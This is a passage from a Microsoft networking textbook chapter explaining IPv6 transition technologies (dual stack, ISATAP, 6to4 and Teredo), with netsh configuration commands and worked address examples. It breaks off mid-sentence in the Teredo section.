Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 438
IPv6 Transition Mechanisms
To coexist with an IPv4 infrastructure and to provide an eventual transition to an IPv6-only
infrastructure, the following mechanisms are used:
Dual stack or dual IP layer architectures
DNS infrastructure
IPv6 over IPv4 tunneling
Dual Stack or Dual IP Layer Architectures
IPv6/IPv4 hosts can be based on a dual IP layer or dual stack architecture. In either architecture, the
following types of traffic are possible:
IPv4
IPv6
IPv6 traffic sent with an IPv4 header (IPv6 over IPv4 tunneling)
A dual IP layer contains a single implementation of Transport layer protocols such as TCP and UDP.
Figure 15-1 shows a dual IP layer architecture.
Figure 15-1 The dual IP layer architecture
The IPv6 protocol for Windows Vista and Windows Server 2008 uses the dual IP layer architecture. The
TCP/IP protocol driver in Windows Vista and Windows Server 2008, Tcpip.sys, contains both IPv4 and
IPv6 Internet layers.
Figure 15-2 shows the dual stack architecture.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 439
Figure 15-2 The dual stack architecture
The IPv6 protocol for Windows Server 2003 and Windows XP uses the dual stack architecture. The
IPv6 protocol driver in Windows Server 2003 and Windows XP, Tcpip6.sys, contains a separate
implementation of TCP and UDP.
Both dual stack and dual IP layer architectures provide the same functionality for IPv6 transition.
DNS Infrastructure
A Domain Name System (DNS) infrastructure is needed for successful coexistence because of the
prevalent use of names rather than addresses to refer to network resources. Upgrading the DNS
infrastructure consists of populating the DNS servers with records to support IPv6 name-to-address and
address-to-name resolutions.
For name-to-address resolutions, the DNS infrastructure must be able to store AAAA records for IPv6
nodes that are populated either manually or dynamically.
For address-to-name resolutions (reverse queries), the DNS infrastructure must be able to store PTR
records in the IP6.ARPA domain for IPv6 nodes, populated either manually or dynamically.
Address Selection Rules
For name-to-address resolution, after the querying node obtains the set of addresses corresponding to
the name, the node must determine the set of addresses to choose as source and destination for
outgoing packets.
This is not an issue in today’s prevalent IPv4-only environments. However, in an environment in which
IPv4 and IPv6 coexist, the set of addresses returned in a DNS query may contain both IPv4 and IPv6
addresses. The typical querying IPv6/IPv4 host is configured with at least one IPv4 address and
multiple IPv6 addresses. Deciding which type of address (IPv4 vs. IPv6) and, for IPv6 addresses, a
source and the destination address that is matched in scope and purpose is not an easy task. For more
information, see Source and Destination Address Selection for IPv6. Default address selection rules are
defined in RFC 3484.
The default address selection rules for the IPv6 protocol in Windows are stored in the prefix policy
table, which you can view with the netsh interface ipv6 show prefixpolicy command. You can modify
the entries in the prefix policy table using the netsh interface ipv6 add|set|delete prefixpolicy
commands. By default, IPv6 addresses in DNS query responses are preferred over IPv4 addresses.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 440
IPv6 Over IPv4 Tunneling
IPv6 over IPv4 tunneling is the encapsulation of IPv6 packets with an IPv4 header so that IPv6 packets
can be sent over an IPv4 infrastructure. Within the IPv4 header:
The IPv4 Protocol field is set to 41 to indicate an encapsulated IPv6 packet.
The Source and Destination fields are set to IPv4 addresses of the tunnel endpoints. The tunnel
endpoints are either manually configured or are automatically derived from the sending tunnel
interface and the next-hop address of the matching route for the destination IPv6 address in the
tunneled packet.
Figure 15-3 shows IPv6 over IPv4 tunneling.
Figure 15-3 IPv6 over IPv4 tunneling
Note IPv6 over IPv4 tunneling only describes an encapsulation of IPv6 packets with an IPv4 header so that IPv6 nodes are
reachable across an IPv4 infrastructure. Unlike tunneling for the Point-to-Point Tunneling Protocol (PPTP) and Layer Two Tunneling
Protocol (L2TP), there is no exchange of messages for tunnel setup, maintenance, or termination. Additionally, IPv6 over IPv4
tunneling does not provide security for tunneled IPv6 packets. For more information about PPTP and L2TP, see Chapter 14, "Virtual
Private Networking."
Tunneling Configurations
RFC 2893 defines the following tunneling configurations with which to tunnel IPv6 traffic between
IPv6/IPv4 nodes over an IPv4 infrastructure:
Router-to-router
In the router-to-router tunneling configuration, two IPv6/IPv4 routers connect two IPv6-capable
infrastructures over an IPv4 infrastructure. The tunnel endpoints span a logical link in the path
between the source and destination. The IPv6 over IPv4 tunnel between the two routers acts as a
single hop. Routes within each IPv6-capable infrastructure point to the IPv6/IPv4 router on the
edge.
Host-to-router or router-to-host
In the host-to-router tunneling configuration, an IPv6/IPv4 node that resides within an IPv4
infrastructure creates an IPv6 over IPv4 tunnel to reach an IPv6/IPv4 router. The tunnel endpoints
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 441
span the first segment of the path between the source and destination nodes. The IPv6 over IPv4
tunnel between the IPv6/IPv4 node and the IPv6/IPv4 router acts as a single hop.
In the router-to-host tunneling configuration, an IPv6/IPv4 router creates an IPv6 over IPv4 tunnel
across an IPv4 infrastructure to reach an IPv6/IPv4 node. The tunnel endpoints span the last
segment of the path between the source node and destination node. The IPv6 over IPv4 tunnel
between the IPv6/IPv4 router and the IPv6/IPv4 node acts as a single hop.
Host-to-host
In the host-to-host tunneling configuration, an IPv6/IPv4 node that resides within an IPv4
infrastructure creates an IPv6 over IPv4 tunnel to reach another IPv6/IPv4 node that resides within
the same IPv4 infrastructure. The tunnel endpoints span the entire path between the source and
destination nodes. The IPv6 over IPv4 tunnel between the IPv6/IPv4 nodes acts as a single hop.
On each IPv6/IPv4 node, an interface representing the IPv6 over IPv4 tunnel is created. IPv6 routes are
added that use the tunnel interface. Based on the sending tunnel interface, the route, and the
destination address, the sending node tunnels the IPv6 traffic to the next hop or to the destination. The
IPv4 address of the tunnel endpoint can be manually configured or automatically determined from the
next-hop address for the destination and the tunnel interface.
Types of Tunnels
RFC 2893 defines the following types of tunnels:
Configured
A configured tunnel requires manual configuration of tunnel endpoints. In a configured tunnel, the
IPv4 addresses of tunnel endpoints are not derived from the next-hop address corresponding to the
destination address.
Typically, router-to-router tunneling configurations are manually configured. The tunnel interface
configuration, consisting of the IPv4 addresses of the tunnel endpoints, must be manually specified
along with routes that use the tunnel interface.
To manually create configured tunnels for the IPv6 protocol for Windows, use the netsh interface
ipv6 add v6v4tunnel command.
Automatic
An automatic tunnel is a tunnel that does not require manual configuration. Tunnel endpoints are
determined by the use of logical tunnel interfaces, routes, and destination IPv6 addresses.
The IPv6 protocol for Windows Vista, Windows XP, Windows Server 2008, and Windows Server 2003
supports the following automatic tunneling technologies:
Intra-site Automatic Tunnel Addressing Protocol (ISATAP)
6to4
Teredo
The IPv6 protocol for Windows Server 2003 and Windows XP also supports automatic tunneling using
IPv6-compatible addresses and 6over4. For more information, see IPv6 Transition Technologies.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 442
ISATAP
ISATAP is an address assignment and host-to-host, host-to-router, and router-to-host automatic
tunneling technology that provides unicast IPv6 connectivity between IPv6 hosts across an IPv4
intranet. ISATAP is described in RFC 4214. ISATAP hosts do not require any manual configuration and
create ISATAP addresses using standard address autoconfiguration mechanisms.
ISATAP can be used for communication between IPv6/IPv4 nodes on an IPv4 intranet. ISATAP
addresses use the interface identifier ::200:5EFE:w.x.y.z (in which w.x.y.z is a unicast public IPv4
address) or ::0:5EFE:w.x.y.z (in which w.x.y.z is a unicast private IPv4 address). The ISATAP interface
identifier can be combined with any 64-bit subnet prefix that is valid for IPv6 unicast addresses,
including global, unique local, and link-local prefixes. An example of a link-local ISATAP address is
FE80::5EFE:10.107.4.92.
By default, the IPv6 protocol for Windows Vista with no service packs installed, Windows Server 2003,
and Windows XP automatically configures link-local ISATAP addresses (with the address prefix
FE80::/64) on an ISATAP tunneling for each IPv4 address that is assigned to the node. Link-local
ISATAP addresses allow two hosts to communicate over an IPv4 network by using each other's link-
local ISATAP address. Windows Vista with Service Pack 1 and Windows Server 2008 do not
automatically configure link-local ISATAP addresses.
For example, Host A is configured with the IPv4 address of 10.40.1.29 and Host B is configured with
the IPv4 address of 192.168.41.30. Host A automatically configures the ISATAP address of
FE80::5EFE:10.40.1.29 and Host B automatically configures the ISATAP address of
FE80::5EFE:192.168.41.30. Figure 15-4 shows this example configuration.
Figure 15-4 An example ISATAP configuration
When Host A sends IPv6 traffic to Host B by using Host B's link-local ISATAP address, the source and
destination addresses for the IPv6 and IPv4 headers are as listed in Table 15-1.
Table 15-1 Example of IPv4 and IPv6 addresses for ISATAP
Field
Value
IPv6 Source Address
FE80::5EFE:10.40.1.29
IPv6 Destination Address
FE80::5EFE:192.168.41.30
IPv4 Source Address
10.40.1.29
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 443
IPv4 Destination Address
192.168.41.30
To test connectivity, a user on Host A can use the following command to ping Host B with its link-local
ISATAP address:
ping FE80::5EFE:192.168.41.30%2
Because the destination of the ping command is a link-local address, the %ZoneID portion of the
command must be used to specify the interface index of the interface from which traffic is sent. In this
case, %2 specifies interface 2, which is the interface index assigned to the ISATAP tunneling interface
on Host A. The ISATAP tunneling interface uses the last 32-bits of the destination IPv6 address as the
destination IPv4 address and the locally assigned IPv4 address as the source IPv4 address.
Using an ISATAP Router
The use of link-local ISATAP addresses allows IPv6/IPv4 hosts on the same logical ISATAP subnet to
communicate with each other, but link-local addresses are not registered in DNS and cannot be used to
communicate with other IPv6 hosts on other subnets. To obtain additional subnet prefixes, ISATAP
hosts must perform router discovery and address autoconfiguration with an ISATAP router. To
communicate outside the logical subnet using non-link-local ISATAP-based addresses, ISATAP hosts
must tunnel their packets to an ISATAP router. Figure 15-5 shows an ISATAP router.
Figure 15-5 An ISATAP router
An ISATAP router is an IPv4/IPv6 router that performs the following:
Advertises subnet prefixes assigned to the logical ISATAP subnet on which ISATAP hosts are
located. ISATAP hosts use the advertised subnet prefixes to configure global ISATAP addresses.
Forwards packets between ISATAP hosts and hosts on other IPv6 subnets (optional).
The other subnets can be subnets in an IPv6-capable portion of the organization's network or the
IPv6 Internet.
When an ISATAP host receives a router advertisement from an ISATAP router, it performs address
autoconfiguration and configures additional IPv6 addresses on the ISATAP interface with the
appropriate interface ID.
If the ISATAP router advertises itself as a default router, the ISATAP host adds a default route (::/0)
using the ISATAP interface with the next-hop address set to the link-local ISATAP address of the
ISATAP router. When an ISATAP host sends packets destined to locations outside the logical ISATAP
subnet, they are tunneled to the IPv4 address of the ISATAP router. The ISATAP router then forwards
the IPv6 packet.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 444
The IPv6 protocol for Windows Vista, Windows XP, Windows Server 2008, and Windows Server 2003
obtains the IPv4 address of the ISATAP router through one of the following:
The successful resolution of the name "ISATAP" to an IPv4 address.
The netsh interface isatap set router or netsh interface ipv6 isatap set router commands.
Resolving the ISATAP Name
When the IPv6 protocol for Windows starts, it attempts to resolve the name "ISATAP" to an IPv4
address using the following TCP/IP name resolution techniques:
Check the local host name.
Check the DNS client resolver cache, which includes the entries in the Hosts file in the
SystemRoot\system32\drivers\etc folder.
Form a fully qualified domain name and sending a DNS name query. For example, if the computer
running Windows is a member of the example.com domain (and example.com is the only domain name
in the search list), the computer sends a DNS query to resolve the name isatap.example.com.
Use Link-Local Multicast Name Resolution (LLMNR) to resolve the single-label name “ISATAP”
(Windows Vista and Windows Server 2008 only).
Convert the ISATAP name into the NetBIOS name "ISATAP <00>" and check the NetBIOS
name cache.
Send a NetBIOS name query to the configured Windows Internet Name Service (WINS) servers.
Send NetBIOS broadcasts.
Check the Lmhosts file in the SystemRoot\system32\drivers\etc folder.
If successful, the host sends an IPv4-encapsulated Router Solicitation message to the ISATAP router.
The ISATAP router responds with an IPv4-encapsulated Router Advertisement message containing
subnet prefixes to use for autoconfiguration of ISATAP-based addresses and, optionally, advertising
itself as a default router.
To ensure that at least one of these attempts is successful, you can do one or more of the following as
needed:
If the ISATAP router is a computer running Windows, name the computer ISATAP and it will
automatically register the appropriate records in DNS and WINS.
Manually create an address (A) record for the name "ISATAP" in the appropriate domains in DNS.
For example, for the example.com domain, create an A record for isatap.example.com with the
IPv4 address of the ISATAP router.
Manually create a static WINS record in WINS for the NetBIOS name "ISATAP <00>".
Add the following entry to the Hosts file of the computers that need to resolve the name ISATAP:
IPv4_Address ISATAP
Add the following entry to the Lmhosts file of the computers that need to resolve the name ISATAP:
IPv4_Address ISATAP
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 445
Using the netsh interface isatap set router Command
Although the automatic resolution of the ISATAP name is the recommended method for configuring the
IPv4 address of the ISATAP router, you can manually configure the name or IPv4 address of the
ISATAP router with the netsh interface isatap set router or netsh interface ipv6 isatap set router
commands. The syntax of these commands are:
netsh interface isatap set router AddressOrName
netsh interface ipv6 isatap set router AddressOrName
AddressOrName is the name or IPv4 address of the ISATAP router's intranet interface. For example, if
the ISATAP router's IPv4 address is 192.168.39.1, the command is:
netsh interface isatap set router 192.168.39.1
Setting up an ISATAP Router
A computer running Windows Vista, Windows XP, Windows Server 2008, or Windows Server 2003 can
be configured as an ISATAP router. Assuming that the router is already configured to forward IPv6
traffic on its LAN interfaces and has a default route that is configured to be published, the additional
commands that need to be issued on the router are:
netsh interface ipv6 isatap set router IPv4Address
netsh interface ipv6 set interface ISATAPInterfaceNameOrIndex forwarding=enabled
advertise=enabled
netsh interface ipv6 add route SubnetPrefix/PrefixLength ISATAPInterfaceNameOrIndex
publish=yes
The first command sets the IPv4 address of the ISATAP router’s LAN interface on the IPv4 network.
The second command enables forwarding and advertising on the ISATAP tunneling interface.
The third command enables the advertisement of a specific subnet prefix (SubnetPrefix/PrefixLength)
over the ISATAP tunneling interface. Use this command one or multiple times to advertise as many
subnet prefixes as you need. All the subnet prefixes configured using this command are included in the
Router Advertisement message sent back to the ISATAP host.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 446
6to4
6to4 is an address assignment and router-to-router automatic tunneling technology that provides
unicast IPv6 connectivity between IPv6 sites and hosts across the IPv4 Internet. 6to4 uses the global
address prefix 2002:WWXX:YYZZ::/48. WWXX:YYZZ is the colon-hexadecimal representation of a
public IPv4 address (w.x.y.z) assigned to a site or host. The full 6to4 address is:
2002:WWXX:YYZZ:SubnetID:InterfaceID
6to4 is described in RFC 3056, which defines the following terms:
6to4 host
Any IPv6 host that is configured with at least one 6to4 address (a global address with the 2002::/16
prefix). 6to4 hosts do not require any manual configuration and create 6to4 addresses using
standard address autoconfiguration mechanisms.
6to4 router
An IPv6/IPv4 router that supports the use of a 6to4 tunnel interface and is typically used to forward
6to4-addressed traffic between the 6to4 hosts within a site and either other 6to4 routers or the IPv6
Internet through a 6to4 relay.
6to4 relay
An IPv6/IPv4 router that forwards 6to4-addressed traffic between 6to4 routers on the IPv4 Internet
and hosts on the IPv6 Internet.
Figure 15-6 shows 6to4 components.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 447
Figure 15-6 6to4 components
Within a site, local IPv6 routers advertise 2002:WWXX:YYZZ:Subnet_ID::/64 subnet prefixes so that
hosts autoconfigure 6to4 addresses. IPv6 routers within the site deliver traffic between 6to4 hosts.
Hosts on individual subnets are automatically configured with a 64-bit subnet route for direct delivery to
neighbors and a default route with the next-hop address of the advertising router. IPv6 traffic that does
not match any of the subnet prefixes used within the site is forwarded to a 6to4 router on the site
border. The 6to4 router on the site border has a 2002::/16 route that is used to forward traffic to other
6to4 sites and a default route (::/0) that is used to forward traffic to a 6to4 relay.
In the example network shown in Figure 15-6, Host A and Host B can communicate with each other
because of a default route using the next-hop address of the 6to4 router in Site 1. When Host A
communicates with Host C in another site, Host A sends the traffic to the 6to4 router in Site 1 as IPv6
packets. The 6to4 router in Site 1, using the 2002::/16 route in its routing table and the 6to4 tunnel
interface, encapsulates the traffic with an IPv4 header and tunnels it to the 6to4 router in Site 2. The
6to4 router in Site 2 receives the tunneled traffic, removes the IPv4 header and, using the subnet prefix
route in its routing table, forwards the IPv6 packet to Host C.
For example, Host A resides on subnet 1 within Site 1 that uses the public IPv4 address of
157.60.91.123. Host C resides on subnet 2 within Site 2 that uses the public IPv4 address of
131.107.210.49. Table 2 lists the addresses in the IPv4 and IPv6 headers when the 6to4 router in Site 1
sends the IPv4-encapsulated IPv6 packet to the 6to4 router in Site 2.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 448
Table 15-2 Example 6to4 addresses
Field
Value
IPv6 Source Address
2002:9D3C:5B7B:1::1
IPv6 Destination Address
2002:836B:D231:2::3
IPv4 Source Address
157.60.91.123
IPv4 Destination Address
131.107.210.49
When you use 6to4 hosts, an IPv6 routing infrastructure within a site, a 6to4 router at the site boundary,
and a 6to4 relay, the following types of communication are possible:
A 6to4 host can communicate with other 6to4 hosts within the same site.
This type of communication is available by using the IPv6 routing infrastructure within the site,
which provides reachability to all hosts within the site. In Figure 15-6, this is the communication
between Host A and Host B.
A 6to4 host can communicate with 6to4 hosts in other sites across the IPv4 Internet.
This type of communication occurs when a 6to4 host forwards IPv6 traffic that is destined to a 6to4
host in another site to its local site 6to4 router. The local site 6to4 router tunnels the IPv6 traffic to
the 6to4 router at the destination site on the IPv4 Internet. The 6to4 router at the destination site
removes the IPv4 header and forwards the IPv6 packet to the appropriate 6to4 host by using the
IPv6 routing infrastructure of the destination site. In Figure 15-6, this is the communication between
Host A and Host C.
A 6to4 host can communicate with hosts on the IPv6 Internet.
This type of communication occurs when a 6to4 host forwards IPv6 traffic that is destined for an
IPv6 Internet host to its local site 6to4 router. The local site 6to4 router tunnels the IPv6 traffic to a
6to4 relay that is connected to both the IPv4 Internet and the IPv6 Internet. The 6to4 relay removes
the IPv4 header and forwards the IPv6 packet to the appropriate IPv6 Internet host by using the
IPv6 routing infrastructure of the IPv6 Internet. In Figure 15-6, this is the communication between
Host A and Host D.
All of these types of communication use IPv6 traffic without the requirement of obtaining either a direct
connection to the IPv6 Internet or a global address prefix from an Internet service provider (ISP).
6to4 Support in Windows
The 6to4 component of the IPv6 protocol for Windows provides 6to4 tunneling support. If there is a
public IPv4 address assigned to an interface on the host and a global prefix is not received in a router
advertisement, the 6to4 component:
Automatically configures 6to4 addresses on a 6to4 tunneling interface for all public IPv4 addresses
that are assigned to interfaces on the computer.
Automatically creates a 2002::/16 route that forwards all 6to4 traffic with a 6to4 tunneling interface.
All traffic forwarded by this host to 6to4 destinations is encapsulated with an IPv4 header.
Automatically performs a DNS query to obtain the IPv4 address of a 6to4 relay on the IPv4 Internet.
By default, the 6to4 component queries for the name 6to4.ipv6.microsoft.com. You can use the
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 449
netsh interface ipv6 6to4 set relay command to specify the DNS name to query. If the query is
successful, a default route is added using a 6to4 tunneling interface and the next-hop address is set
to the 6to4 address of the 6to4 relay.
The results of the 6to4 component autoconfiguration vary depending on the configuration of the host.
Figure 15-7 shows how 6to4 is configured for different types of hosts running Windows (except IPv6
host D).
Figure 15-7 6to4 for Windows hosts
For a host that is assigned a private IPv4 address or receives a router advertisement for a global prefix,
there are no 6to4 addresses assigned to the 6to4 tunneling interface. Addresses and routes are
autoconfigured based on the received router advertisement. This configuration corresponds to Host A,
Host B, and Host C in Figure 15-7.
A host that is assigned a public IPv4 address and does not receive a router advertisement for a global
prefix automatically configures a 6to4 address of the form 2002:WWXX:YYZZ::WWXX:YYZZ is on the
6to4 tunneling interface. The host adds a 2002::/16 route using the 6to4 tunneling interface and, if the
DNS query for the 6to4 relay is successful, adds a default route using the 6to4 address of the 6to4 relay
as the next hop. This type of host is a 6to4 host and performs its own tunneling like a 6to4 router. This
configuration corresponds to 6to4 host/router E in Figure 15-7, a host that is directly connected to the
IPv4 Internet.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 450
A computer running Windows can automatically configure itself as a 6to4 router by utilizing the
configuration of the Internet Connection Sharing (ICS) feature. This configuration corresponds to 6to4
router 1 in Figure 15-7.
If ICS is enabled on an interface that is assigned a public IPv4 address, the 6to4 component
automatically:
Enables IPv6 forwarding on the 6to4 tunneling interface and the private interface.
The private interface is connected to a single-subnet intranet and uses private IPv4 addresses from
the 192.168.0.0/24 prefix.
Sends Router Advertisement messages on the private interface.
The router advertisements advertise the ICS computer as a default router and contain a 6to4
subnet prefix that is based on the public IPv4 address assigned to the public interface. The Subnet
ID in the 6to4 subnet prefix is set to the interface index of the interface on which the advertisements
are sent.
For example, for an ICS computer using the public IPv4 address of 131.107.23.89 and interface 5 as
the interface index of the private interface, the advertised prefix would be 2002:836B:1759:5::/64.
Private hosts receiving this router advertisement would create global addresses through normal
address autoconfiguration and add a 2002:836B:1759:5::/64 route for the local subnet and a default
route with a next-hop address of the link-local address of the ICS computer's private interface. Private
hosts can communicate with each other on the same subnet using the 2002:836B:1759:5::/64 route.
For all other destinations to other 6to4 sites or the IPv6 Internet, the 6to4 hosts forward the IPv6
packets to the ICS computer using the default route.
For traffic to other 6to4 sites, the ICS computer uses its 2002::/16 route and encapsulates the IPv6
traffic with an IPv4 header and sends it across the IPv4 Internet to another 6to4 router. For all other
IPv6 traffic, the ICS computer uses its default route and encapsulates the IPv6 traffic with an IPv4
header and sends it across the IPv4 Internet to a 6to4 relay.
To manually configure a computer running Windows as a 6to4 router, you must do the following:
Ensure that the 6to4 router computer has a public address assigned to its Internet interface and has not
received a Router Advertisement message from either an IPv6 router on an attached subnet or an
ISATAP router. If this is the case, the 6to4 component automatically adds a 2002::/16 route to the
routing table that uses the 6to4 tunneling interface and adds a default route that points to a 6to4 relay
on the IPv4 Internet.
Enable forwarding and advertising on the interfaces attached to your intranet. You can do this with the
following command:
netsh interface ipv6 set interface InterfaceNameOrIndex forwarding=enabled
advertise=enabled
Enable forwarding on the 6to4 tunneling interface. You can do this with the following command:
netsh interface ipv6 set interface 6to4InterfaceNameOrIndex forwarding=enabled
Add routes for 6to4 prefixes to the interfaces attached to your intranet and configure them to be
published. You can do this with the following command:
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 451
netsh interface ipv6 add route 2002:WWXX:YYZZ:SubnetID::/64 InterfaceNameOrIndex
publish=yes
WWXX:YYZZ is the colon-hexadecimal notation for w.x.y.z, the public IPv4 address that is
assigned to the interface that is attached to the Internet. SubnetID identifies an individual subnet
within the 6to4 site.
For example, a computer running Windows Server 2003 has three LAN interfaces with the following
configuration:
Local Area Connection is attached to the IPv4 Internet and is assigned the public IPv4 address
131.107.0.1.
Local Area Connection 2 is an intranet interface that is using interface index 5.
Local Area Connection 3 is an intranet interface that is using interface index 6.
To configure this computer as a 6to4 router, run the following commands:
netsh interface ipv6 set interface "Local Area Connection 2" forwarding=enabled
advertise=enabled
netsh interface ipv6 set interface "Local Area Connection 3" forwarding=enabled
advertise=enabled
netsh interface ipv6 set interface "6to4 Tunneling Pseudo-Interface" forwarding=enabled
netsh interface ipv6 add route 2002:836b:1:5::/64 "Local Area Connection 2" publish=yes
netsh interface ipv6 add route 2002:836b:1:6::/64 "Local Area Connection 3" publish=yes
For this example, the subnet prefix 2002:836b:1:5::/64 is advertised over Local Area Connection 2 and
the subnet prefix 2002:836b:1:6::/64 is advertised over Local Area Connection 3 (836b:1 is the
hexadecimal colon notation for the public IPv4 address 131.107.0.1). By convention, the subnet ID is
set to the interface index of the interface over which the prefix is advertised. You can specify any
subnet ID you want (from 0 to 0xffff).
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 452
Teredo
Teredo, also known as IPv4 network address translator (NAT) traversal (NAT-T) for IPv6, provides
address assignment and host-to-host automatic tunneling for unicast IPv6 connectivity across the IPv4
Internet, even when IPv6/IPv4 hosts are located behind one or multiple IPv4 NATs. Teredo is defined in
RFC 4380. To traverse IPv4 NATs, IPv6 packets are sent as IPv4-based User Datagram Protocol
(UDP) messages.
6to4 provides a similar function as Teredo. However, 6to4 router support is required in the edge device
that is connected to the Internet. 6to4 router functionality is not widely supported by IPv4 NATs. Even if
the edge NAT were 6to4-capable, 6to4 would still not work for configurations in which there are multiple
NATs between a site and the Internet.
Teredo resolves the issues of the lack of 6to4 functionality in modern-day NATs or multi-layered NAT
configurations by tunneling IPv6 packets between the hosts within the sites. In contrast, 6to4 uses
tunneling from the edge device. Tunneling from the hosts presents another issue for NATs: IPv4-
encapsulated IPv6 packets are sent with the Protocol field in the IPv4 header set to 41. Most NATs only
translate TCP or UDP traffic and must either be manually configured to translate other protocols or
have an installed NAT editor that handles the translation. Because Protocol 41 translation is not a
common feature of NATs, IPv4-encapsulated IPv6 traffic will not flow through typical NATs. Therefore,
the IPv6 packet is encapsulated as an IPv4 UDP message, containing both IPv4 and UDP headers.
UDP messages can be translated by most NATs and can traverse multiple layers of NATs.
Teredo is designed as a last resort transition technology for IPv6 connectivity. If native IPv6, 6to4, or
ISATAP connectivity is present between communicating nodes, Teredo is not used. As more IPv4
NATs are upgraded to support 6to4 and IPv6 connectivity becomes ubiquitous, Teredo will be used less
and less, until eventually it is not used at all.
Teredo in Windows Server 2003 Service Pack 1, Windows XP SP2, and Windows XP SP1 with the
Advanced Networking Pack for Windows XP works only over cone and restricted NATs.
A cone NAT stores a mapping between an internal (private) address and port number and an external
(public) address and port number. After the NAT translation table entry is in place, incoming traffic from
the Internet to the external address and port number is allowed from any source address and port
number.
A restricted NAT stores a mapping between an internal address and port number and an external
address and port number, for either specific external addresses or specific external addresses and port
numbers. An incoming packet from the Internet that does not match a NAT translation table entry for
both the external destination address and port number and a specific source external address or port
number is silently discarded.
There is an additional type of NAT, known as a symmetric NAT, which maps the same internal address
and port number to different external addresses and ports, depending on the external destination
address (for outgoing traffic). Teredo in Windows Server 2003 and Windows XP does not support
symmetric NATs.
Teredo Components
Figure 15-8 shows the set of components for Teredo connectivity.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 453
Figure 15-8 Teredo components
The components of Teredo are the following:
Teredo client
An IPv6/IPv4 node that supports a Teredo tunneling interface through which packets are tunneled
to either other Teredo clients or nodes on the IPv6 Internet through a Teredo relay.
Teredo server
An IPv6/IPv4 node that is connected to both the IPv4 Internet and the IPv6 Internet. The role of the
Teredo server is to assist in the initial configuration of Teredo clients and to facilitate the initial
communication between either Teredo clients in different sites or between Teredo clients and IPv6-
only hosts on the IPv6 Internet.
Teredo relay
An IPv6/IPv4 router that can forward packets between Teredo clients on the IPv4 Internet and IPv6-
only hosts on the IPv6 Internet.
Teredo host-specific relay
An IPv6/IPv4 node that has an interface and connectivity to both the IPv4 Internet and the IPv6
Internet and can communicate directly with Teredo clients over the IPv4 Internet, without the need
for an intermediate Teredo relay. The connectivity to the IPv4 Internet can be through a public IPv4
address or through a private IPv4 address and a neighboring NAT. The connectivity to the IPv6
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 454
Internet can be through a direct connection to the IPv6 Internet or through an IPv6 transition
technology such as 6to4.
Windows Vista, Windows Server 2008, Windows Server 2003 with Service Pack 1 and later, Windows
XP with SP2 and later, and Windows XP with SP1 and the Advanced Networking Pack for Windows XP
include Teredo client and Teredo host-specific relay functionality. The Teredo host-specific relay
functionality is automatically enabled if a global IPv6 address has been assigned. A global address can
be assigned from a Router Advertisement message that is received from a native IPv6 router, an
ISATAP router, or a 6to4 router. If there is no global address configured, Teredo client functionality is
enabled.
Teredo Addresses
Teredo addresses have the format shown in Figure 15-9.
Figure 15-9 Teredo addresses
A Teredo address consists of the following:
Teredo prefix
The first 32 bits are for the Teredo prefix, which is the same for all Teredo addresses. The Microsoft
implementations of Teredo use 2001::/32 or 3FFE:831F::/32 (obsolete).
Teredo server IPv4 address
The next 32 bits contain the IPv4 public address of the Teredo server that assisted in the
configuration of this Teredo address.
Flags
The next 16 bits are reserved for Teredo flags. The only defined flag is the high-order bit known as
the Cone flag. The Cone flag is set when the Teredo client detects that it is located behind a cone
NAT.
Obscured external port
The next 16 bits store an obscured version of the external UDP port that corresponds to all Teredo
traffic for this Teredo client. When the Teredo client sends its initial packet to a Teredo server, the
source UDP port of the packet is mapped by the NAT to a different, external UDP port. All Teredo
traffic for the host uses the same external, mapped UDP port.
The external port is obscured by exclusive ORing (XORing) the external port with 0xFFFF. For
example, the obscured version of the external port 5000 in hexadecimal format is EC77 (5000
equals 0x1388, and 0x1388 XOR 0xFFFF = 0xEC77). Obscuring the external port prevents a NAT
from translating the external port contained within the payload of the packets that are being
forwarded.
Obscured external address
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 455
The last 32 bits store an obscured version of the external IPv4 address that corresponds to all
Teredo traffic for this Teredo client. Just like the external port, when the Teredo client sends its
initial packet to a Teredo server, the source IP address of the packet is mapped by the NAT to a
different, external address.
The external address is obscured by XORing the external address with 0xFFFFFFFF. For example,
the obscured version of the public IPv4 address 131.107.0.1 in colon-hexadecimal format is
7C94:FFFE (131.107.0.1 equals 0x836B0001, and 0x836B0001 XOR 0xFFFFFFFF =
0x7C94FFFE). Obscuring the external address prevents NATs from translating the external
address contained within the payload of the packets that are being forwarded.
How Teredo Works
For two Windows-based Teredo clients, the most crucial Teredo processes are those used for initial
configuration and communication with a peer in a different site.
Initial Configuration
Teredo clients perform initial configuration by sending a series of Router Solicitation messages to
multiple Teredo servers. Windows-based Teredo clients obtain the IPv4 addresses of Teredo servers
on the IPv4 Internet by performing a DNS query the name teredo.ipv6.microsoft.com. You can use the
netsh interface ipv6 set teredo servername=Name_or_IPv4_Address command to specify the DNS
name to query. The Teredo client uses the router advertisements to derive a Teredo address and
determine whether the client is behind a cone, restricted, or symmetric NAT. You can see what type of
NAT the Teredo client has discovered from the display of the netsh interface ipv6 show teredo
command.
Based on the received Router Advertisement messages, the Teredo client constructs its Teredo
address from the following:
